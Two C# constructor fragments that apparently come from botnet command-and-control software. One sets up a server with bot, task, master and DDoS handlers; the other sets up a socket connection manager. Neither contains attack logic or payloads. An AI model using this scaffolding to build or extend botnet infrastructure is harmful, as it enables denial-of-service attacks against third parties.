public CGopnikServer(Int32 iPort)
        {
            m_BotHandler                 = new CBotHandler();
            m_TaskHandler                = new CTaskHandler(m_BotHandler);
            m_MasterHandler              = new CMasterHandler();
            m_DdosHandler                = new CDdosHandler();
            m_DdosHandler.OnDdosStopped += HandleOnDdosStopped;

            m_ServerSocket               = new CServerSocket(iPort);
            m_ServerSocket.OnNewClient  += m_ServerSocket_OnNewClient;
            m_ServerSocket.OnNewData    += m_ServerSocket_OnNewData;
            m_ServerSocket.OnLostClient += m_ServerSocket_OnLostClient;
        }
        public CConnectionManager(int port)
        {
            ServerSocket = new CServerSocket(port);
            ServerSocket.OnClientConnected      += ServerSocket_OnClientConnected;
            ServerSocket.OnClientDisconnect     += ServerSocket_OnClientDisconnect;
            ServerSocket.OnClientReceivedBuffer += ServerSocket_OnClientReceivedBuffer;

            Connections = new List <SConnection>();

            PacketCallbacks = new List <SPacketCallback>();
            InitPacketCallbacks();

            SynchronizationThread = new Thread(new ThreadStart(Synchronization_Thread));

            RandomInstance = new Random();
        }